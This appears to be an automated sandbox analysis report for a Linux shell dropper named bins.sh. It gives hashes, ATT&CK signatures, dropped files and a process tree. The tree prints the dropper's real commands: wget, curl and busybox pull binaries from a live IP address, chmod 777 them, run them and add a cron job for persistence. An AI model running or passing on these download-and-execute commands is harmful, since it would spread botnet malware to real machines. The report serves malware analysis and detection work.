19ea55229614c7764d9a5c6e12eb95e82a0a46664c98c64a89f1dbcd48a02c01

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 09:51

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General

Target
bins.sh
Size 10KB
Sample241120-lvldtsvcqa
SHA256 19ea55229614c7764d9a5c6e12eb95e82a0a46664c98c64a89f1dbcd48a02c01
MD5 202d9e7cee7bfaba362d848926d12244
SHA1 6c75c69a05e95a29b94ccacb6c6575a1e8c7064f
SHA512 4b971ba24f5cc5e038de3376e997f11b9a890206224fddec82b27be7d7ab7c5d1b1589e42e8e738a1f35baa061bb6eb3ad9fa94a7345198c04914c7b3008064e
SSDEEP 192:mYILh7ZOZCZjoo5DHDeSW7wgyFZF5Fovzb73k3s3HC+O73O3C3ZEE2BBRxxUZ5rE:WqbWCh
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2065) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
822	chmod
686	chmod
798	chmod
807	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	688	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	800	cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	808	e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	823	tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne

Renames itself 1 IoCs

pid	Process
689	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.x2QaOh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1021/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1032/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1064/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/28/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/438/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/709/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/731/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/853/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/20/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/784/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/851/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/883/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/969/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/696/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/715/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/826/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/897/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/966/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/10/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/728/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/911/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/394/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/714/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/874/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/963/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1025/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1065/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/722/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/763/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/814/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/877/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/909/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/993/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1052/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/108/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/725/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/788/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/858/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/962/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/882/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1030/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/97/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/274/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/734/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/748/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/793/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/786/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1028/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1061/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/954/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/27/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/155/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/730/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/755/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/898/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/718/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/759/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/922/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/974/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/978/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/1062/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/803/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/850/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
File opened for reading	/proc/884/cmdline	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	busybox
File opened for modification	/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	busybox
File opened for modification	/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	wget
File opened for modification	/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	curl
File opened for modification	/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	busybox
File opened for modification	/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:663
- /usr/bin/wget
  wget http://87.120.125.191/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Writes file to tmp directory
  PID:668
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  ./tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:688
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:690
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:691
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:696
- /bin/rm
  rm tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:699
- /usr/bin/wget
  wget http://87.120.125.191/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  ./cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:802
- /usr/bin/wget
  wget http://87.120.125.191/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:804
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod 777 e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  ./e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.125.191/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:820
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  ./tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:825

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe

Path /tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz

Path /tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne

Path /tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0

Path /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.x2QaOh

Path /var/spool/cron/crontabs/tmp.x2QaOh
Size 210B
SHA256 82144a9b7428df310677401de7cec5ae6e1e866e42f77f6cd393b32769ef5d41
MD5 4cb1058ed25bfe9175feb2050c8653ea
SHA1 f7a6341975adaaa8bc6b0694bc8b2e525a61b7e4
SHA512 d8baa6a6ad06cda2c9bc6d123e56d03d9e03274caba2b629480feca41e30a976e8907dae4996879bccaec1415af0e5ede8554cece83268e4f7317dc46176cd16
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads